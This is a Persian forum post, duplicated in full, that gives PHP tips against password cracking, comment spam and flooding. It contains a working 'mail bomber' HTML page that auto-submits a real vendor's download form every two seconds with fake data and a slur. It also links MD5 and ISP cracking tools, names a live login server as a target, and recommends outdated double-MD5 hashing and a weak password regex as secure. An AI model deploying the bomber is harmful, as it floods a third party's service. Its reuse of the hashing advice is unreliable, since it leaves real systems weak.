k2-4u
Well-Known Member
سلام دوستان .
اول از همه . این مقاله رو ببینید : اخطار! : Capcha (کدامنیتی) قابل عبور است!!
می خوام در این تاپیک در مورد اینکه چطور از ریشه با سرقت محتوا , spam , Crack مبارزه کنیم بنویسم
(ممکنه بعضی از مطالب تکراری باشه )
برای مبارزه با سرقت محتوا به دلایلی یک تاپیک جدا میزنم
و در همین تاپیک اعلام می کنم
خب . اول بحث رو با Crack شروع می کنم .
_________________________________________________________________
. امنیت رشته های hash
خب . همیشه برای . امنیت پسورد و یا ... از الگوریتم های هش(hash) استفاده میشه که یک کار معمولیه .
(بهتریناش هم shah1 و md5 هست ) .
ولی باز هم میشه پیداشون کرد !! . (به وسیله کتابخانه md5) وارد جزئیات نمیشم که چطوری این کارو می کنند
ولی یک راه ساده . برای مقابله با خیال راحت وجود داره . اونم اینه که 2 بار md5 کنید
دیگه . دردسر زیادی هم نمی خواد !
این مقاله رو هم ببینید : String hashing within salt
و برای پیدا کردن MD5 :
Online MD5 Crackers
Quick md5 decoder 1.4
_________________________________________________________________
. صفحه های ورود (ورود به مدیریت و ... ) Authentication
در این رابطه . اول از همه چند تا نکته باید رعایت بشه
---------------------------------
1. اگر نام کاربری یا پسورد . اشتباه بود نباید به کاربر نشون بدین که کدومش اشتباه است
(برای محیط های که نام های کاربری در جای لیست نشده اند )
مثلا شما یک صفحه ورود به مدیریت دارین . وقتی نام مدیر رو بدون پسورد وارد کنید
صفحه پیام میده که . مدیری با این نام موجود نیست !!!
مثلا مثل سیستم معروف IBSng :دی
http://217.219.215.7/IBSng/user
اینم کرکرش 1.2 TakFanar Isp Cracker
راه حلش اینه که . بگین نام کاربری یا رمزعبور اشتباه است .
یعنی مشخص نباشه کدوم اشتباه است
---------------------------------
2. برای محیط های مدیریت Username ی تعیین کنید که در هیچ جای سیستم نمایش داده نشود
یعنی ارزش Username برابر password باشد . سپس به صورت زیر طراحی شود
A - اگر username اشتباه بود . دوباره پرسیده شود . تا n ....
B - اگر username درست بود و پسورد اشتباه . بعد از 5 بار اشتباه سیستم ورود برای 1 ساعت (برای آن Username قفل شود )
---------------------------------
3. برای محیط های کاربری که username کاربر رو میشه پیدا کرد
بهترین را اینه که .
A - اگر نام کاربری موجود نبود . پیام بده که چنین کاربری نیست
B - اگر نام کابری درست باشد و پسورد درست نباشد بعد از 5 بار اشتباه نیاز به وارد کردن
کد امنیتی باشد (البته کد امنیتی قوی !!! )
---------------------------------
4. برای محیط های مدیریت پیشنهاد می کنم از پنجره Authentication
بدون Cookie و Session . و فقط با چند تا IF . صفحه ورود درست کنید
که البته باید بند 2 رو رعایت کنید .
---------------------------------
5. پسورد باید از 4 کارکتر بیشتر باشد و حدعقل شامل حروف و اعداد باشد .
یک Regex بگذارین که غیر از این قانون امکان پذیر نباشه
---------------------------------
6. حملات Session hijack , Sql Injection و .. دیگر حملات
این تاپیک امنیت در php
رو حتما مطاله کنید
---------------------------------
با رعایت نکات بالا بدون دردسر های ضافی می توانید
امنیت خودتون رو برای authentication تضمین کنید
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
مبحث بعدی ما مبارزه با spam است
تا اونجا که من اطلاع دارم spam دسته بندی خاصی نداره ولی من در زیر .
spam رو به چند قسمت . تقسیم کردم
7. ارسال تبلیغ در محل های ارسال نظر/انتقادات پیشنهادات/ و ...
برای مبارزه با این مشکل شما باید . از کد امنیتی استفاده کنید
و هیچ راه دیگه ای وجود نداره که قابل شکست نباشه
به این نکته حتما دقت کنید !
مثلا کد زیر رو ببینید (یک Mail Boomber است کتکم نزنین!! )
8. نوشته های طولانی و مخرب
خب شاید . برای شما پیش اومده باشه که شخصی در . محل ارسال نظر از مطالبی مانند
استفاده کنه (که دوستمون D.A.V.O.O.D براش پیش اومده بود)
در چنین مواقعی ممکنه شکل صفحه خراب بشه (مخصوصا در صفحات tableless)
یا ..... شما می توانید از کد زیر استفاده کنید
------------------------ خارج از php -------------------------------
البته راه مبارزه با این مشکل در CSS3 وجود داره که اونم
http://www.css3.info/preview/word-wrap/
ولی هنوز . بصورت کامل پشتیبانی نمیشه
-----------------------------------------------------------------------
بعضی وقت ها هم نوشت . انگلیسی درست نیست
که . می توانید از این کد استفاده کنید
9. مطلب تکراری
برای این مشکل 2 کار باید انجام شود
الف _ غیر فعال کردن کلید ارسال : که کار معمولی است
و با کد زیر انجام میشه
ب _ به صورت زیر محدوده زمانی تعیین کنید
1. بعد از ارسال مطلب به وسیله کاربر . IP و ثانیه ارسال مطلب رو در یک جدول در database نگهر دارید
(منظور از ثانیه مقدار تابع time() به صورت کامل است )
2. یک تابع درست کنید که time های داخل جدول بالا رو چک کند و اگر از 30 ثانیه گذشته باشد
آن سطر را پاک کنه
3 . در هنگام ارسال مطلب چک کنید که ip کاربر در database نباشد . اگر بود . از ارسال مطلب جلو گیری کنید
و به کاربر اخطار دهید که لطفا 30 ثانیه دیگر ارسال کند
نمونه زنده سایت blogfa بود
که . مانند mail boomber بالا براش اسکریپ مخرب نوشته بودند (که درستش کرد )
خب این هم از Crack و Spam
باز هم میگم برای مبارزه با سرقت محتوا به دلایلی یک تاپیک جدا میزنم
و در همین تاپیک اعلام می کنم
اول از همه . این مقاله رو ببینید : اخطار! : Capcha (کدامنیتی) قابل عبور است!!
می خوام در این تاپیک در مورد اینکه چطور از ریشه با سرقت محتوا , spam , Crack مبارزه کنیم بنویسم
(ممکنه بعضی از مطالب تکراری باشه )
برای مبارزه با سرقت محتوا به دلایلی یک تاپیک جدا میزنم
و در همین تاپیک اعلام می کنم
خب . اول بحث رو با Crack شروع می کنم .
_________________________________________________________________
. امنیت رشته های hash
خب . همیشه برای . امنیت پسورد و یا ... از الگوریتم های هش(hash) استفاده میشه که یک کار معمولیه .
(بهتریناش هم shah1 و md5 هست ) .
ولی باز هم میشه پیداشون کرد !! . (به وسیله کتابخانه md5) وارد جزئیات نمیشم که چطوری این کارو می کنند
ولی یک راه ساده . برای مقابله با خیال راحت وجود داره . اونم اینه که 2 بار md5 کنید
PHP:
echo md5(md5("ab"));
این مقاله رو هم ببینید : String hashing within salt
و برای پیدا کردن MD5 :
Online MD5 Crackers
Quick md5 decoder 1.4
_________________________________________________________________
. صفحه های ورود (ورود به مدیریت و ... ) Authentication
در این رابطه . اول از همه چند تا نکته باید رعایت بشه
---------------------------------
1. اگر نام کاربری یا پسورد . اشتباه بود نباید به کاربر نشون بدین که کدومش اشتباه است
(برای محیط های که نام های کاربری در جای لیست نشده اند )
مثلا شما یک صفحه ورود به مدیریت دارین . وقتی نام مدیر رو بدون پسورد وارد کنید
صفحه پیام میده که . مدیری با این نام موجود نیست !!!
مثلا مثل سیستم معروف IBSng :دی
http://217.219.215.7/IBSng/user
اینم کرکرش 1.2 TakFanar Isp Cracker
راه حلش اینه که . بگین نام کاربری یا رمزعبور اشتباه است .
یعنی مشخص نباشه کدوم اشتباه است
---------------------------------
2. برای محیط های مدیریت Username ی تعیین کنید که در هیچ جای سیستم نمایش داده نشود
یعنی ارزش Username برابر password باشد . سپس به صورت زیر طراحی شود
A - اگر username اشتباه بود . دوباره پرسیده شود . تا n ....
B - اگر username درست بود و پسورد اشتباه . بعد از 5 بار اشتباه سیستم ورود برای 1 ساعت (برای آن Username قفل شود )
---------------------------------
3. برای محیط های کاربری که username کاربر رو میشه پیدا کرد
بهترین را اینه که .
A - اگر نام کاربری موجود نبود . پیام بده که چنین کاربری نیست
B - اگر نام کابری درست باشد و پسورد درست نباشد بعد از 5 بار اشتباه نیاز به وارد کردن
کد امنیتی باشد (البته کد امنیتی قوی !!! )
---------------------------------
4. برای محیط های مدیریت پیشنهاد می کنم از پنجره Authentication
بدون Cookie و Session . و فقط با چند تا IF . صفحه ورود درست کنید
که البته باید بند 2 رو رعایت کنید .
---------------------------------
5. پسورد باید از 4 کارکتر بیشتر باشد و حدعقل شامل حروف و اعداد باشد .
یک Regex بگذارین که غیر از این قانون امکان پذیر نباشه
PHP:
preg_match('/^([a-z0-9]{4,32})$/i',$password)
6. حملات Session hijack , Sql Injection و .. دیگر حملات
این تاپیک امنیت در php
رو حتما مطاله کنید
---------------------------------
با رعایت نکات بالا بدون دردسر های ضافی می توانید
امنیت خودتون رو برای authentication تضمین کنید
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
مبحث بعدی ما مبارزه با spam است
تا اونجا که من اطلاع دارم spam دسته بندی خاصی نداره ولی من در زیر .
spam رو به چند قسمت . تقسیم کردم
7. ارسال تبلیغ در محل های ارسال نظر/انتقادات پیشنهادات/ و ...
برای مبارزه با این مشکل شما باید . از کد امنیتی استفاده کنید
و هیچ راه دیگه ای وجود نداره که قابل شکست نباشه
به این نکته حتما دقت کنید !
مثلا کد زیر رو ببینید (یک Mail Boomber است کتکم نزنین!! )
HTML:
<html>
<head>
<script>
function OnBodyLoad(){
setInterval("document.getElementById('download').submit();",2000);
}
</script>
</head>
<body>
<form target="frame1" id="download" action="http://www.ioncube.com/encoder_eval_download.php" method="POST">
<input type="hidden" name="form_name" value="download">
<input type="hidden" name="q" value="submit">
<input type="hidden" name="cname" value="hellow"></td>
<input type="hidden" name="sname" value="gogooli"></td>
<input type="hidden" name="company" value="Israel Word Fucker">
<input type="hidden" name="country" value="Israel">
<input type="hidden" value="+00763456765" name="phone">
<input type="hidden" value="+00763456765" name="phoneext">
<input type="text" value="[email protected]" name="email">
<input type="hidden" name="p" value="win32">
<input type="submit" name="download" onclick="OnBodyLoad()" value="Start Mail boomber For Fun!">
<input type="hidden" name="code" value="encoder">
</form>
<iframe name="frame1" width="400" height="400"></iframe><br>
http://rapidshare.com/files/279118066/mailboomber.zip.html<br>
Code By Mr <a href="http://k2-4u.com">k2-4u</a> (korosh) Just For Fun!!
</body>
</html>
8. نوشته های طولانی و مخرب
خب شاید . برای شما پیش اومده باشه که شخصی در . محل ارسال نظر از مطالبی مانند
HTML:
khobiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
در چنین مواقعی ممکنه شکل صفحه خراب بشه (مخصوصا در صفحات tableless)
یا ..... شما می توانید از کد زیر استفاده کنید
PHP:
function Check($n){
$l=strlen($n);
for($i=0;$i<=$l;$i++){
if($n[$i-1]==$n[$i]&&$n[$i]==$n[$i+1]) {
return false;
};
}; return true;
};
البته راه مبارزه با این مشکل در CSS3 وجود داره که اونم
HTML:
selector{
word-wrap:break-word;
}
ولی هنوز . بصورت کامل پشتیبانی نمیشه
-----------------------------------------------------------------------
بعضی وقت ها هم نوشت . انگلیسی درست نیست
که . می توانید از این کد استفاده کنید
PHP:
preg_match('/^[اآبپتثئجچحخدذرزژسشصضطظعغفقکگلمنوهی\s]+$/', $txt)
9. مطلب تکراری
برای این مشکل 2 کار باید انجام شود
الف _ غیر فعال کردن کلید ارسال : که کار معمولی است
و با کد زیر انجام میشه
HTML:
<form onsubmit="document.getElementById('sbtname').disabled=true">
... Form item
<input type="submit" id="sbtname" />
</form>
ب _ به صورت زیر محدوده زمانی تعیین کنید
1. بعد از ارسال مطلب به وسیله کاربر . IP و ثانیه ارسال مطلب رو در یک جدول در database نگهر دارید
(منظور از ثانیه مقدار تابع time() به صورت کامل است )
2. یک تابع درست کنید که time های داخل جدول بالا رو چک کند و اگر از 30 ثانیه گذشته باشد
آن سطر را پاک کنه
3 . در هنگام ارسال مطلب چک کنید که ip کاربر در database نباشد . اگر بود . از ارسال مطلب جلو گیری کنید
و به کاربر اخطار دهید که لطفا 30 ثانیه دیگر ارسال کند
نمونه زنده سایت blogfa بود
که . مانند mail boomber بالا براش اسکریپ مخرب نوشته بودند (که درستش کرد )
خب این هم از Crack و Spam
باز هم میگم برای مبارزه با سرقت محتوا به دلایلی یک تاپیک جدا میزنم
و در همین تاپیک اعلام می کنم
آخرین ویرایش: